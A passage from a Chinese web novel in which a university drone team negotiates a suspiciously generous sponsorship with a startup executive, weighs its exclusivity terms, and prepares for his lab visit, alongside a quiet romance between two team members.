她甚至没来得及看到唐简给她回过来的“不急”,以最快速度洗漱收拾,抓过背包和小鱼板就往楼下冲去。 唐简果然照往常一样等在对面,晨光落在他身上,勾勒出挺拔的身形。 他看到她,嘴角很自然地弯起。 “慢点,不着急。”他迎着她过来,很自然地伸手帮她理了下翘起来的头发丝。 夏篱顿了一下,没躲开。 两人之间的气氛似乎有些微妙的不同了,一种心照不宣的默契和亲昵悄然滋生,自然得让她自己都感到惊讶。 虽然确定了关系,但两人都默契地没有声张。项目正在关键时期,他们都不想因为私人感情而分散团队的注意力,或者引来不必要的关注和打趣。 课余时间他们照旧投入紧张的工作。 学校的立项批复正式下达,虽然发下来的经费还不到申请的百分之六十,但至少也开始逐步到位,每个人都还是充满了干劲儿。 周三早上,周予收到了冯哲发来的公司详细介绍PPT和一份框架性的合作意向书草案,对方希望能先约个简短的时间见面聊聊,加深了解。 周予把资料发到核心群里。 唐简、夏篱和陈默仔细看了那份意向书草案和公司介绍。 “看起来……挺像那么回事。”晚上实验室里,周予摸着下巴琢磨,“意向书里提到的资源支持方向和我们的需求匹配度还挺高的。公司介绍虽然比不上行业巨头,但也有模有样。” 唐简查了下更多公开信息:“凌空科创确实有几个无人机领域的实用新型专利,参与过一些政府的小型采购项目……法人代表和股东背景看起来也没什么明显问题。” 陈默沉吟片刻,“对方既然拿出了正式东西,我们完全拒之门外也不合适,反而显得我们畏首畏尾或者缺乏合作诚意。” “那……”周予看向唐简和夏篱,“见一面?” “见。”夏篱果断道,“我们‘谨慎乐观’就是了。” 毕竟以学校现在批复的那点经费应付下前期验证机还行,到后面正式参赛机那就不够瞧的了……再申请也不知道学校还能批多少,凌空科创这个……有备无患。 “好!”周予看起来很高兴,“那我就约他这周六见!” 陈默也点了点头,“到时候我们一起。” “嗯!” 凌空科创公司就在大学城附近的创新园区,过去很方便。 周六早晨四人到公司楼下大厅时,原本他们当中最有经验的周予看起来却反而是最紧张的那一个,不停地整理着其实并不需要整理的衣领。 唐简则是一贯的冷静模样,只有在看夏篱时,眼神会柔和一瞬。而陈默依旧是那副没什么表情的样子,揣着口袋打量四周环境。 没多会,一个穿着商务休闲装、看起来三十来岁的年轻男人从电梯里走出来,笑容可掬地迎向他们:“是北城大学航模社的几位同学吧?” 周予礼貌笑着率先伸手和对方握了握,“冯总好,我是周予。” “周社长?幸会幸会。”冯哲热情地和他一握手。 随即视线落到他身后的三人身上,在看到夏篱时,目光几不可察地停顿了一下,眼底闪过一丝难以捕捉的惊艳和兴趣。 第73章 冯哲看起来比微信头像上更年轻一些, 梳着一丝不苟的发型,戴着金丝边眼睛,气质斯文, 笑容得体,一副典型青年才俊的模样。 冯哲的目光在夏篱脸上那短暂的停留, 虽然席位,却并未逃过唐简的眼睛。他没有几不可察地蹙了一下,上前半步,身形自然地挡在了夏篱侧前方,阻断了冯哲的实现, 同时伸出手, 语气平静无波:“冯总, 唐简。” “唐同学, 你好你好。”冯哲立刻回过神来,脸上职业性的笑容不变,迅速与唐简握了握手, 仿佛刚才的失态从未发生。只是和陈默握完最后转向夏篱时,他的握手时间似乎略微长了零点几秒,目光也更专注了些:“这位是?” “夏篱, 团队核心成员,负责飞控和矢量推进算法。”周予抢先介绍, 语气带着与有荣焉的骄傲。 “夏同学,真是令人惊讶。”冯哲笑着点头, “没想到在这么硬核的技术领域,还能见到这么出色的女生。” 他的赞美听起来还算自然,但夏篱却依然感到一丝不适。她礼貌地抽回手,疏离地笑了笑:“冯总过奖了。” 冯哲的目光这次克制地只在她脸上停留一瞬便离开, 笑着侧身引路,“几位这边请,我们会议室聊。” 会议室窗明几净,投影设备早已准备就绪。几人落座,冯哲的助理端上茶水。 寒暄过后,周予打开电脑接入投影:“冯总,感谢贵司的关注。这是我们项目目前的进展报告和后续规划,请您过目。” PPT一页页翻过,周予讲解得比在学校汇报时更流利自信,重点突出了技术的创新性和团队的执行力。冯哲听得颇为认真,不时点头,提出几个相当专业的问题,都切中要害,由唐简和夏篱言简意赅地补充回答。 “……所以,我们并非单纯追求竞技名次,更希望借此机会,验证一套低成本高性能的矢量飞控解决方案,这在未来的城市低空物流或特种作业领域,都有潜在的应用价值。”周予最后总结,这是他们反复打磨过的说辞。 冯哲鼓了两下掌,笑容异常真诚:“精彩。说实话周社长,最初了解到你们的信息决定联系时,我没想到你们的项目成熟度和团队专业性这么高。尤其是这种基于算法补偿降低硬件依赖的思路,很有启发性。” “我们公司虽然成立时间不长,但核心团队都来自国内顶尖的科研院所和相关企业,非常看好无人机和智能控制领域的未来。尤其关注像你们这样有创意、有激情的学生团队。我们不像一些大公司那样流程冗长,决策更快,也更愿意在早期阶段支持有潜力的项目,共同成长。” “我们很欣赏你们团队展现出的技术能力和执行力,所以非常希望能以某种形式参与到这个项目中来。无论是前期的研发赞助、提供一些我们现有的飞控模块进行适配测试,还是后期成果的转化推广,我们都愿意探讨。我们相信学校的支持加上企业的资源互补,能让这个项目走得更快更远。贵团队展现出的潜力和我们所关注的方向非常契合,我们很期待能进行更深度的合作。” 冯哲的话很有诱惑力,几乎句句说在周予的心坎上。周予脸上的笑容越来越明显,眼神询问地看向唐简三人。 冯哲语气热络却不显急切地补充:“周社长,你们的低成本验证机的思路,我们技术团队评估后非常感兴趣。尤其是在资源极度受限的情况下,能实现基础功能验证,这种工程化思维和执行力,在很多成熟团队里都不多见。” 周予脸上立刻放出光来,习惯性的圆滑话脱口而出:“冯总过奖了,我们也是被逼无奈,只能穷折腾,关键是大家心齐……” 唐简在桌下轻轻踢了周予一下。 周予话音一顿,立刻反应过来,“当然,目前的验证机非常粗糙,距离参赛要求还有很长的路要走。我们也很想知道,贵公司具体的合作意向和能提供的支持方向。” 冯哲笑了笑,拿起投影遥控器,点开PPT:“我们凌空科创虽然规模不算顶尖,但在特种无人机飞控和轻型复合材料应用上,有一些自己的积累。看好你们这个项目,主要是看好这个方向的前景,以及你们团队所展现的潜力。” 他切换了几页,展示了一些公司的技术案例和专利证书,语速平稳:“我们初步设想,合作可以分几个层面:一是技术咨询和支持,尤其在食量推进的恶静谧控制和轻量化结构优化上,我们的工程师可以提供一些经验;二是部分关键元期间的优惠供应或赞助,比如高精度多集、专用传感器模块;三是如果项目进展顺利,成果突出,我们可以考虑进一步的资金投入,甚至共同申报一些青年创新计划。” 条件听起来相当不错,甚至有些优厚得不像是对一个大学生团队。周予呼吸都急促了几分。 夏篱却微微蹙了下眉。 对方展示的技术方向确实和他们有契合点,但总感觉有点……过于匹配了?像是特意筛选过一样。她垂下眼,手指无意识地在笔记本上划了一下。 “冯总,”唐简这时候冷静开口,“感谢贵司的青睐。我们想了解一下,贵方对这些‘支持’,预期的回报是什么?或者说,合作的基础模式是怎样的?比如知识产权归属、后续可能的商业化权益分配?” 问题直接而犀利。 毕竟天上不会掉馅饼,对方投入资源,必然有所图。 冯哲眼底虽然飞速闪过一丝意外,但显然早有准备,笑了笑回答得滴水不漏:“唐同学问的问题很关键啊。我们当然不是做慈善,但请放心,我们会充分尊重高效团队的科研自主性和知识产权。初步想法是签署一份战略合作备忘录。前期支持以资源倾斜和技术咨询为主,视项目进展和最终成果,再谈进一步的权益细节。当然,所有基于你们团队自身研发产生的核心技术专利,所有权肯定归你们团队所有,这一点可以写进协议,只是凌空科创希望获得的是优先合作圈和度假赞助冠名权。因为我们更看重的是项目成功后带来的行业声誉以及未来潜在的技术合作优先权。” 他顿了顿,语气更真诚了几分:“说实话,投资大学生团队风险很好,但我们看好的是长远。如果你们能在SAE这种国际赛事上拿到名次……甚至夺冠,本身就是对我们公司技术眼光和扶持能力的最佳证明。这份无形资产,对我们这样的成长型公司来说,价值更大。” 这个解释合情合理。 周予明显松了口气,脸上又堆起了笑容。 然而夏篱却捕捉到了另一个点:“冯总提到‘度假赞助冠名权’,这是否意味着如果我们接受您的赞助,在SAE大赛中就不能再接受其他任何形式的赞助或展示了?” “原则上是的,”冯哲微笑点头,“这也是行业管理,希望夏同学可以理解。我们需要确保品牌投入的独家性和回报。” 会议室里短暂沉默了一下。 这个条件以为着如果他们接受了凌空科创的支持,就被绑在了这条船上,后期很难再引入其他可能更优质的资源。 可是如果拒绝……迄今为止,他们不是没有努力过,可除了凌空科创也确实再没有其他公司愿意伸出“援助之手”了。 须臾陈默忽然问了句:“冯总之前有关注过其他高校的航模或者机器人团队吗?” 冯哲闻言看向他,笑容不变:“偶尔有了解。大学城这边创新氛围浓,偶尔也会看看有没有好苗子。不过像你们这样明确冲击SAE高级组,并且已经有清晰技术路线和初步成果的,不多见。” 冯哲视线从对面四人脸上一扫而过,示意助理将一份打印好的文件递给周予:“这是我们初步拟定的赞助草案。主要包括资金支持、部分精密零件的加工渠道共享,以及后期如果技术成果有商业化可能,有限投资或收购的权益条款。” 周予强压激动,接过文件和唐简、夏篱、陈默快速浏览。资金数额比预期低,但这在他们的意料之中,也至少能在学校经费用完之后支持项目走到中后期;而且加工渠道还正是他们急需的;后续条款虽有些苛刻,但在学生项目中也算常态。 接下来的谈话,基本围绕着冯哲提到的几个支持方向展开。周予主导对话,唐简和陈默偶尔插言询问技术细节或协议条款,夏篱则大多时间在安静地听,观察者冯哲的表情和措辞。 他表现得很专业、有诚意,几乎挑不出错。但夏篱心里那点异样感始终挥之不去。尤其是,他偶尔掠过她的眼神,虽然掩饰得很好,但总带着一种审度之外的、难以言喻的探究意味,让她不太舒服。 会谈进行了大约四十多分钟。结束时,冯哲热情地和他们再次握手:“期待我们的合作。具体协议草案,我让助理整理一下,下周初发给你们看看。” “好的好的,麻烦冯总了!”周予忙不迭应承。 电梯门关上,周予终于忍不住兴奋,压低声音道:“感觉有戏!而且条件比想象中好!要是真能成,咱们很多硬件问题就好解决了!” 陈默两手揣着口袋,闻言盯着电梯里跳动的数字慢悠悠道:“条件是好得有点‘太’出乎意料了。” 半晌没听到唐简和夏篱应声,两人不约而同回头看,就见唐简不知从哪摸出来一张酒精湿巾,正捏着夏篱的右手,在一个指缝一个指缝地仔细的擦。 第74章 周予和陈默看着唐简的动作, 一时都有些没反应过来。 唐简的动作细致又专注,低垂着眼睫,侧脸线条在电梯冷白的光线下显得有些冷硬。夏篱的手指纤细白皙, 在他略显粗糙的指间显得格外脆弱。 他知道夏篱对刚才那个冯哲的观感并不好,他自己亦然。 那种看似专业实则隐含算计的眼神, 以及最后握手时似有若无的刻意停留,都让他心底警铃微作。这不仅仅是对潜在合作方本能的警惕,更掺杂了一种雄性领地被觊觎般的敏锐直觉。 擦手这个举动,与其说是洁癖,不如说是一种无声的宣告和抚慰。 夏篱没有抽回手, 只是抬眼看了看唐简紧绷的下颌线, 心里那点因冯哲而起的不适感奇异地被冲淡了些, 取而代之的是一丝暖意和好笑。 她轻轻动了动手指, 指尖在他掌心挠了一下,低声道:“行了,再擦皮都要破了。” 唐简动作一顿, 终于抬起眼来看她。 四目相对,他眼底深处的冷意悄然化开,拇指在她手背上最后摩挲了一下, 才松开手,将用过的湿巾攥在手心。 周予从兴奋中稍稍冷却, 看着唐简这突如其来的举动,有些摸不着头脑, 又隐隐觉得似乎哪里不对。陈默则了然地挑了挑眉,目光在唐简紧绷的侧脸和夏篱微红的耳根之间扫了个来回,最终落在不断跳动的楼层数字上,嘴角扯出一个极淡的、意味不明的弧度。 电梯“叮”一声轻响, 抵达一楼。门滑开的瞬间,外面大厅明亮的光线涌了进来。 四人前后脚走出电梯,穿过明亮整洁的大厅,推开玻璃门,室外秋日上午的阳光扑面而来,带着一丝暖意,却驱不散几人之间微妙的气氛。 “咳咳,”周予率先打破沉默,将话题拉回正轨,脸上兴奋的红光还未完全褪去,“那个……冯总看起来挺有诚意的啊!你们觉得呢?虽然条件肯定要仔细谈,但这开头是不是比我们预想的好多了?”他搓着手,看向唐简和夏篱,眼神期待。 陈默双手依旧揣在兜里,慢悠悠地泼了盆冷水:“不觉得好得有点过头了吗?一个初创公司,对我们一个学生项目这么热心,又是技术支援又是加工渠道,图什么?就图个未来可能有的‘行业声誉’?这投资回报周期是不是太长了点,风险也高了点。” “哎哎老陈,话也不能这么说,咱也不能总把人往坏了想啊,”周予反驳,但语气其实也没那么笃定,“万一、万一人家冯总就是有眼光,就是看好我们呢?” “看好是好事,”陈默说,“但‘过度看好’且‘目标明确’就得想想他这‘看好’的信息源是哪里了。社长,你给他们的初期资料,有这么详细吗?” 周予一愣,下意识回想:“这……倒没有,我就发了个项目简介和验证机视频,但是……咱们的‘探索者1号’确实很有说服力啊!” “‘探索者1号’证明的是我们的潜力和执行力,但不代表我们值这个价码。”唐简冷静插话,“冯哲提的那些技术支持方向,精准得就像对着我们的需求清单念的。” 夏篱也忍不住道:“还有那个独家冠名和优先权条款,几乎是把我们后续的退路和选择权都锁死了。” 周予噎住了,少顷道,“那你们的意思是,这合作有问题?不考虑了?可、可这是我们目前能接触到的最好的机会了!学校的经费撑死够做完第二轮验证机,后面的高精度加工、进口传感器、风洞试验……哪一样不要钱?” 他知道团队成员谨慎是好事,但他作为社长,压力更大。学校的经费捉襟见肘,陆子航那边虎视眈眈,他太需要外部资源的注入了。凌空科创的出现,对他来说简直是久旱逢甘霖。 “没说不合作,”夏篱到底是没忍心太打击他,“草案我们先带回去仔细研究,尤其是知识产权和独家赞助条款。另外,”她看周予,“社长,你能不能想办法从其他渠道再了解一下这个‘凌空科创’?比如他们之前有没有投资国其他高效团队还有口碑如何?” “这个交给我。”陈默接话,“我认识的一个学长毕业去了行业协会,我侧面打听一下。” “行!”周予深吸一口气,努力让自己冷静下来,“草案我们回去逐字逐句抠!信息也去查!但……但也别一棍子打死啊,万一真是好机会呢?”他还是有点舍不得。 到学校正值午饭时间,四人直接在学校附近常去的一家小餐馆落座。周予迫不及待地点了几个菜,然后又开始滔滔不绝地分析合作可能带来的好处,仿佛已经看到精密加工件源源不断送入实验室的场景。 唐简给夏篱烫洗着碗筷,安静地听着,偶尔和周予、陈默讨论几句协议的细节和可能的风险点。夏篱则拿出手机,再次搜索“凌空科创”和“冯哲”的相关信息。公开的信息依旧不多,公司主页做得像模像样,但深度报道几乎没有。冯哲的领英资料显示他确实有几家知名科技公司工作的经历,但时间都不长。 菜很快上来了。周予一边吃着,一边已经开始规划拿到赞助后首选要升级哪些设备,采购哪些材料,兴奋之情溢于言表。 SAE高级组这项目从立项到现在困难重重,夏篱三人其实清楚周予强拽着凌空科创这块“浮木”是因为什么,他喋喋不休地说着接受凌空科创的“好”一方面是为了说服他们,另一方面也是为了说服他自己。 但陈默还是直言提醒道,“社长,你别忘了陆子航。他也能接触到刘雨萱以前的资源。这个冯哲万一和他有关系呢?” 周予夹菜的筷子顿了一下,眉头皱起:“不能吧?陆子航那小子虽然家里有点底子,但手应该还伸不到这种专门做技术的公司吧?他那个工作室也只是他家里给他投资弄起来让他玩的,还不至于能跟技术公司合作上吧?再说了,他搞的是基础组,跟我们又不是一条路。” “未必需要直接关系。”唐简说,“也许只是信息渠道共享。冯哲提到过‘了解到你们的信息’,这个信息源就值得深究。而且如果陆子航有意捣乱,假意提供赞助,然后在关键环节卡我们脖子,这种可能性也不是没有。” 这话像一盆冷水,稍稍浇熄了周予的一些热情。看着面前一桌子的菜,他都有些难以下咽起来,“啪”一声放下筷子,颓唐地揪了揪头发,“艹!我他妈只是想参加个比赛而已,到底怎么惹着他了!想方设法地一直给老子使绊子!艹!” 周予脾气来得快去得也快,吃完饭回到学校,就立刻风风火火地去找他认识的法学院的学长了。陈默回了宿舍,说要去网上一些专业的论坛和数据库再搜搜凌空科创的底。 唐简则送夏篱去实验室。 “还在想冯哲的事?”路上唐简偏头看她。 夏篱微微蹙着的眉头一直没有完全舒展。 “嗯。”夏篱老实点头,“总觉得有点不安。” 唐简说,“他要是私下联系你,记得告诉我。” 夏篱愣了下,才反应过来说,“我不是在担心这个。项目联系一直是周予在跟他谈,当时我连他微信都没加,他联系我做什么。我担心的是大波她……” 她欲言又止。 梁清波作为引荐人,在这个看似诱人却暗藏疑点的合作篱,究竟扮演着什么角色?是无心之举还是…… 作为男人的直觉,这件事显然唐简并没有夏篱那么“迟钝”。但他只是伸出手,轻轻碰了碰她的手背,然后顺势将她的手握进掌心。唐简的手掌干燥温热,带着令人安心的力量。 “找个时间,我陪你直接问问她。总好过我们自己一直在这猜。” 他的直截了当让夏篱有一瞬诧异,随即想想,这确实是唐简的风格,也是目前来看最有效率的方式。一直避而不见、暗自猜疑,反而会让事情变得更复杂。 夏篱反手轻轻回握了他一下,点了点头:“好。” 感受到她细微的回应,唐简嘴角微不可察地向上扬了一下,指腹在她手背上轻轻蹭了蹭。两人都没再说话,只是牵着手,安静地走在秋日午后洒满阳光的校园小径上。周围是来来往往的学生,嘈杂的人声仿佛被隔绝开来,只剩下掌心相贴处传来的温度和彼此间心照不宣的默契。 这种自然而然的亲密,让夏篱心里那点因冯哲和梁清波而起的阴霾渐渐散了些。她悄悄侧过头,看着唐简线条利落的侧脸,他正目视前方,神情是一贯的冷静,但握着她的手却温暖而坚定。 到了工程楼楼下,两人默契地松开了手。毕竟在实验室里,他们还是默契地保持着“队友”的关系,不想让个人感情影响到团队氛围,也不想成为大家关注的焦点。 唐简看着夏篱上楼,才转身往篮球馆小跑着离开。 307实验室里,何晓雯、王海他们已经在忙碌了。看到夏篱进来,何晓雯推了推眼镜,直接问道:“社长呢?怎么就你一个人回来?赞助谈得怎么样?” 夏篱言简意赅地把情况说了下。 王海一听有可能获得优质的材料加工渠道,眼睛顿时亮了:“真的?如果他们真能提供那种航空级的碳纤维复合材料使用,我们的结构减重还能再优化一大截!” 张铭轩更关心的是飞控硬件:“他们那个自研的传感器模块,精度参数如果真的像资料上说的那样,比我们现在用的这款好太多了啊!” 技术宅们的关注点永远直接而纯粹,立刻开始讨论起可能带来的技术提升,风险和疑虑,暂时被对更好性能的渴望压了下去。 夏篱明白在最终决定前,稳定军心、保持团队的干劲更重要。 一下午在紧张而充满希望的讨论和试验中过去。傍晚时分,周予一脸喜色地和陈默还有结束训练的唐简前后脚赶回实验室。 “我问了!我学长说了,这种投资意向草案约束力不强,主要是表达个意向约,关键要看正式合同!”周予声音难掩激动,“他帮我们初步过了遍眼,说草案框架看起来还算正规,就是那个独家赞助和优先权条款确实比较霸道,真签正式合同必须明确权限和时限,不能无限期捆绑。还有知识产权,必须清晰约定,后续商业化利益分成也要谈清楚。” “另外!”周予神秘兮兮地凑近,“我学长还帮我打听了下这个凌空科创,你们猜怎么着?他们最近好像确实在积极寻找一些有潜力的无人机项目投资,似乎是想快速在这个领域打出名气。所以条件开得好,可能真有这方面的原因!” 这消息让凌空科创的动机听起来似乎合理了不少…… 接下来的几天,团队依旧忙碌。 学校的首批经费到位,虽然不多,但足以让他们开始采购一些急需的基础材料和标准件。王海和张铭轩几乎泡在了各大供应商的网站和线下市场里,比对参数、价格,忙得脚不沾地。何晓雯和夏篱则继续埋头优化算法,唐简除了参与航模社的事还要兼顾篮球训练,常常是最后一个离开实验室的人。 然而凌空科创那边的正式合同草案却迟迟没有发来。 周予一边心焦一边又强压着让自己冷静,不要去主动联系。 因为陈默那边的调查也遇到了一些阻力。 凌空科创的公开信息有限,几个看似不错的项目要么是参与度不高,要么是后期没了下文。公司的注册资本和实缴资本存在一定差距,虽然这在初创公司中也常见,但总让人觉得不太安心。更让陈默在意的是,他通过一些非正式渠道隐约打听到,凌空科创似乎和本地另一所高校的某个机器人团队也有过接触,但具体内容和结果无从得知。 陈默:“背景比看起来复杂。技术专利是真的,但商业运营和资金状况一点不少。和理工大创新基地那边好像也有过交集,目的不明。” 周予对此非常惊讶:“理工大?他们也有做无人机的团队吗?没听说过啊!” 唐简关注点却是:“冯哲那天提过他们关注大学城的团队,但当时他也刻意强调了我们团队的‘独特性’和‘唯一性’。” 夏篱皱眉:“这种矛盾就很奇怪。如果他只是想投资有潜力的项目,多线接触也正常,但为什么要刻意模糊这一点?” “都些什么玩意儿,”何晓雯脑子里没那么多弯弯绕绕,听得头大,直言道,“怎么感觉这个公司鬼鬼祟祟的?” 第75章 何晓雯的直白让周予钳口结舌, 根本找不到任何有力的话来反驳。 实验室里瞬间安静下来,所有人都看向她,又下意识地互相看了看。 周予的兴奋感早已因为这几天凌空科创的“沉默”而逐渐降温, 取而代之的是一种更复杂的情绪——不甘、焦虑,还有一丝被可能愚弄的羞恼。何晓雯的话虽然直白, 却精准地戳中了他心底那份一直刻意忽略的疑虑。 “鬼鬼祟祟……倒也不至于吧?”少顷周予勉强笑了笑,试图缓和气氛,“可能就是商业谈判的一种策略?显得自己比较有实力?” “晓雯话糙理不糙,毕竟实力不是靠‘显得’的。”陈默靠在椅背上,双手依旧揣在兜里, 语气平淡却带着分量, “是靠实打实的技术、资金和成功案例堆出来的。我们现在掌握的信息确实矛盾点很多。冯哲表现得热情专业, 公司资料看起来也像模像样, 但深究下去,背景模糊,动机存疑, 还可能同时接触其他团队。这种‘鬼鬼祟祟’的感觉,确实不是好兆头。” “那……那我们怎么办?”王海挠了挠头,看着桌上摊开的各种材料采购清单和性能对比图, 有些茫然,“学校的经费就这么多, 高级组的材料、加工……光靠我们自己,太难了啊。” 张铭轩也叹了口气:“是啊, 尤其是高精度的传感器和飞控芯片,市面上好的都贵,而且渠道也……” 现实的困境像一盆冷水,浇得众人心头沉重。凌空科创抛出的橄榄枝, 尽管带着疑云,却也是目前唯一能看到的有可能帮助他们突破资源瓶颈的希望。 周予听着大家的讨论,心里的不安感也愈发清晰。那种感觉就像明知道一片水域可能有暗礁,却因为对岸的风景太诱人,而忍不住想冒险一试。 “社长,”夏篱突然转过头,看向脸色变幻不定的周予,“冯哲那边,正式合同草案还没发过来吗?” 周予像是被提醒了,连忙拿起手机看了看,摇摇头:“没有。上周六他说这周初发,今天都周四了。” 典型的拖延战术,也是一种常见的施压和观察手段。 对方在等,等他们因为资源匮乏而先沉不住气,等他们内部出现分歧,这样在接下来的谈判中就能占据更有力的位置。 夏篱看着大家脸上失落和纠结的表情,深吸了一口气。她知道作为团队的核心之一,不能只停留在怀疑和担忧上。 “我们不能因噎废食。”她扬起一抹笑,声音清晰地吸引了所有人的注意:“凌空科创有疑点,我们就去查清楚。但在查清楚之前,我们自己的进度不能停。” 她起身走到白板前,拿起笔:“学校的经费已经到位一部分,我们就先把手头能做的做到极致。王海学长,基础结构件的材料和初步加工,用现有经费能覆盖多少?” 王海愣了一下,立刻走到电脑前调出清单:“主体框架和次承力结构,用性能稍次但性价比高的国产碳纤维复合材料,加上3D打印辅助件,前期验证和部分静态测试够用。但主翼连接件、矢量喷口的核心传动部件这些对强度和精度要求极高的部分……” “这部分先放一放,或者用简化方案替代,集中精力攻飞控和基础气动验证。”夏篱果断地说,在白板上划出一条线,“这是我们的技术路线底线,确保即使没有外部赞助,项目也能持续推进,至少能拿出一个有竞争力的基础方案参加国内选拔。” 她又划出另一条更高的线:“这是理想路线,需要外部资源注入。凌空科创是一个选项,但不是唯一选项。社长继续和他们保持接触,但所有口头承诺都不作数,一切以正式合同条款为准。陈默学长,麻烦你继续深挖凌空科创的背景,特别是和理工大那边可能的关系。” 她看向何晓雯:“晓雯姐,我们俩负责把算法优化和仿真做到无懈可击,这是我们的核心筹码也是应对任何变数的底气。还有唐简……” 夏篱刚开口叫了声唐简的名字,他已经点点头,把她还没来得及说的话给应下了。 “硬件整合和实测试飞方案,我会拿出一份更详细的计划和备用方案。” 夏篱愣了下,眼底流光溢彩地闪过一丝笑,佯装回头看白板时,唇角还是没忍住往上勾了勾才往下继续安排。 最后周予也精神一振,用力拍了下大腿,“我豁出去了!我还不信了!我再去看看有没有其他可能的赞助渠道,广撒网!!” 话题被引回技术层面,实验室里的气氛重新变得务实和专注起来。大家暂时将凌空科创的疑云搁置一旁,投入到具体的工作中。 接下来两天,第一批基础材料和标准件陆续到位。王海和张铭轩带着几个人开始着手第二版验证机的结构设计和基础电路搭建。何晓雯和夏篱除了上课时间也几乎泡在了代码和仿真数据库,针对“探索者1号”试飞中出现的问题进行算法迭代。 唐简依然是那个最忙碌的人,在实验室、篮球馆和课堂之间连轴转。但他总能精准地把握节奏,在团队需要的时候出现,给出关键建议或直接动手解决难题。 周五下午,周予正和王海讨论一种新型连接件的采购可行性,手机突然连续震动起来。他掏出来一看,眼睛瞬间瞪圆了,呼吸都急促了几分。 “来了来了!”他难掩激动地挥舞着手机,示意在座的人安静,“冯哲电话!” 实验室里瞬间安静下来,所有人都停下了手中的动作,目光齐刷刷地投向周予手中的电话。 周予清了清嗓子,接通电话点了外放:“喂,冯总,您好!” “周社长,下午好啊。”冯哲带着笑意的声音从听筒里传来,听起来一如既往的热情得体,“没打扰到你们吧?” “没有没有,冯总您太客气了。”周予连忙应道,语气带着恰到好处的恭敬,“我们刚开完一个小组会,正在讨论下一步的实施方案呢。” “好,年轻人就得有干劲。”冯哲称赞了一句,随即切入正题,“周社长,是这样,上次跟你们团队交流后,我跟公司技术委员会和投资部做了详细汇报。大家一致认为,你们的项目确实非常有潜力,尤其是团队展现出的技术能力和执行力,给我们留下了深刻印象。” 周予脸上忍不住露出喜色,但还是克制着回道:“冯总过奖了,我们还有很多需要学习和完善的地方。” “谦虚是好事,但过分的谦虚就是骄傲了嘛。”冯哲笑呵呵地说,“正是因为看好你们,公司这边呢,也希望能更快的推动合作。所以,我有个提议——” 他顿了顿,然后才继续说,“在正式签署合同前,我和公司另一位负责技术评估的同事,明天,也就是周六上午,方便的话想去你们实验室实地参观一下。一方面是想更直观地了解你们的工作环境和项目进展,另一方面 ,也好当面把一些合作细节,尤其是技术对接方面的想法,跟你们核心团队再深入沟通沟通。怎么样,你看方便吗?” 周予的心跳陡然加速,他下意识地看向唐简和夏篱。唐简微微蹙眉,和夏篱交换了一个眼神,夏篱轻轻点了点头。陈默靠在墙边,几不可察地耸了耸肩,意思很明显:该来的总会来,躲不过。 周予定了定神,用热情洋溢的语气回答:“方便!当然方便!冯总和贵公司的同事能亲自来指导,是我们的荣幸!明天上午您看几点合适?” “那就定在上午十点吧,时间充裕一些。”冯哲似乎对周予的爽快很满意。 “好的,冯总。明天上午十点,我在校门口恭候大驾!” “好,那就不打扰你们了,明天见。” “明天见,冯总!” 电话挂断,实验室里安静了几秒,随即响起一片低声地议论。 “明天就来?这么急?”王海倒吸口气。 “说是参观沟通,我看是现场考察加施压吧。”经过这快一个星期,张铭轩也不像上周他们刚谈判回来时那么乐观了。 何晓雯直接道:“黄鼠狼给鸡拜年。” 周予对此左耳朵进右耳朵出,既兴奋又紧张地搓了搓手:“不管怎么说,人家愿意来,说明还是很有诚意的。这是个机会!我们得好好准备一下!快快快,我们整理下手里明天能拿出来的东西!数据报告再检查一遍,明天务必拿出最好的状态!” 周六上午九点四十分,周予和陈默已经等在了校门口。 实验室里焕然一新,甚至看起来比当时王副院长过来时整理的还要整洁干净。设备擦拭得锃亮,工具摆放井然有序,工作台上,“探索者2号”验证机的初步骨架和部分电路已经搭建起来,旁边整齐地陈列着设计图纸、仿真数据曲线图和材料样品。团队成员都提前到了,穿着比平日稍显正式,空气中弥漫着一种临战前的紧张感。 孙翡还是第一次经历这个,手心里全是汗。她看着坐在电脑前还能面不改色码程序的夏篱,腿都有点发软,“你怎么看着一点都不紧张啊宝儿……上周你和社长第一次去他们公司时也这么淡定吗?我好紧张啊!万一他们待会问我什么我答不出来怎么办?会不会给咱们团队扣分啊?我是不是今天不应该过来的?!……我只是觉得你们一边忙专业一边还要担心赞助的事,我啥都帮不上忙也太不像话了……可是我现在真的好紧张啊!!” 夏篱听着她语无伦次地叨叨就有些好笑,握了握她冰凉的手,“别紧张,没关系的。有什么不会的你就照实说,就算是他们公司的工程师也不可能无所不知,我们还是学生,也是大一的新生,不清楚些什么东西也是可能的,再说你这段时间跟着刘淌学长已经学习到很多了,你可以的,翡翡。” “真的吗?”孙翡深吸口气。 夏篱肯定地点点头,“当然!” 孙翡笑着用力抱了一下她,“太好了宝儿!我虽然不相信我自己,但我相信你!” 夏篱失笑。 王海在另一边似真似假地哭丧着脸调侃,“学妹,我也相信你,你也鼓励鼓励我吧……我真的也好紧张!感觉比当时王副院长他们来还紧张!” 夏篱:“…………” 唐简闻言似笑非笑地走到王海身后给他捏肩膀,“那我来帮你放松放松。” 王海瞬间“嗷”一声从凳子上蹦起三米高,“靠,唐简你想谋杀我!” “哈哈哈哈——” “哈哈哈——” 因为这个短暂的插曲,实验室里紧张的气氛终于稍稍松懈了些,但随着时间临近走廊里传来脚步声,孙翡等人的心跳还是加速起来。 在周予的示意下,冯哲率先走了进来。他今天穿着一身剪裁合体的深蓝色休闲西装,金丝边眼镜后的目光锐利而充满笑意。他身后跟着一位约莫四十岁左右、身材微胖、戴着黑框眼睛表情严肃的男人,手里提着一个厚重的公文包。 “冯总,赵工。”周予连忙指了指实验室里站起身迎接他们的众人,简单介绍,“这是我们团队的几位核心队员。唐简和夏篱您上次已经见过了,这是我们另一位飞控算法的负责人何晓雯,负责材料的王海,测试平台搭建的刘淌和孙翡还有……” 周予一一介绍完毕,冯哲微笑着看着众人点了点头,“周末还来加班,辛苦各位了。” 他侧身介绍身边的中年男人,“这位是我们公司技术评估部的负责人,赵工。赵工在无人机系统集成和飞控领域有十几年的经验,今天特地请他一起来帮我们把把关。今后有什么相关专业上的问题,你们也可以随时向他请教。” 对比冯哲身上难免的商人市侩和虚伪,赵工看起来明显要有些“冷漠”。闻言只是淡淡点了点头,目光像扫描仪一样开始打量整个实验室的环境和装备,眼神专注而挑剔。 寒暄过后,冯哲笑道,“周社长,不介意带我们参观一下你们的‘基地’吧?顺便也给我们详细介绍介绍项目的进展?” “当然当然,冯总,赵工,这边请。”周予侧身引路,开始按照预演好的流程进行讲解。 他从项目背景、技术挑战讲到“探索者1号”的成功验证以及目前“探索者2号”的规划和已完成的部分。讲解过程中,王海、张铭轩等人也适时补充了自己负责部分的情况。 